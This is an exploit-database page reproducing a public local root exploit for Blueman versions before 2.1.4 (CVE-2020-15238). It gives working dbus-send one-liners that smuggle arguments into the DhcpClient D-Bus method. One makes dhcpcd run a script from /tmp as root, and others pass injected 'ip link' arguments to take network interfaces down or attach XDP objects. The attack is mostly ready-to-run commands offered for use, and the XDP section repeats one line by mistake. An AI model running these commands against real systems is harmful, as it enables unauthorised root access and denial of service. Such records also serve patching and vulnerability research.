Advertisement






Blueman Local Root / Privilege Escalation

CVE Category Price Severity
CVE-2020-15238 CWE-264 $5000 Critical
Author Risk Exploitation Type Date
Unknown High Local 2020-10-29
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020100192

Below is a copy:

Blueman Local Root / Privilege Escalation
# Exploit Title: Local Privilege Escalation in Blueman < 2.1.4
# Date: 2020-10-27
# Exploit Author: Vaisha Bernard (vbernard - at - eyecontrol.nl)
# Vendor Homepage: https://github.com/blueman-project/blueman
# Software Link: https://github.com/blueman-project/blueman
# Version: < 2.1.4
# Tested on: Ubuntu 20.04
# CVE: CVE-2020-15238
#
# By default installed on Ubuntu 16.04 - 20.10 and
# Debian 9 - 11
#
# Local root exploit when dhcpcd is used instead of dhclient
# 
# Reference: https://www.eyecontrol.nl/blog/the-story-of-3-cves-in-ubuntu-desktop.html
#
# 
# The DhcpClient method of the d-bus interface to blueman-mechanism 
# is prone to an argument injection vulnerability. 
# On systems where the isc-dhcp-client package is removed 
# and the dhcpcd package installed, this leads to Local 
# Privilege Escalation to root from any unprivileged user. 
# See attached python script for a working exploit. Or use 
# this oneliner with a shellscript "/tmp/eye":
 
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"-c/tmp/eye"

# This happens because the argument is not sanitized before 
# being used as an argument to dhcpcd.
# 
# Also on default installations with isc-dhcp-client installed, 
# this can lead to DoS attacks by bringing any interface down 
# as follows:

dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 down al"

# Or allows users to attach XDP objects to an interface:

dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 down al"
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"ens33 name a"
dbus-send --print-reply --system --dest=org.blueman.Mechanism \
/org/blueman/mechanism org.blueman.Mechanism.DhcpClient \
string:"a xdp o /tmp/o"

# This both happens because the argument is passed to "ip link" 
# unsanitized.

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum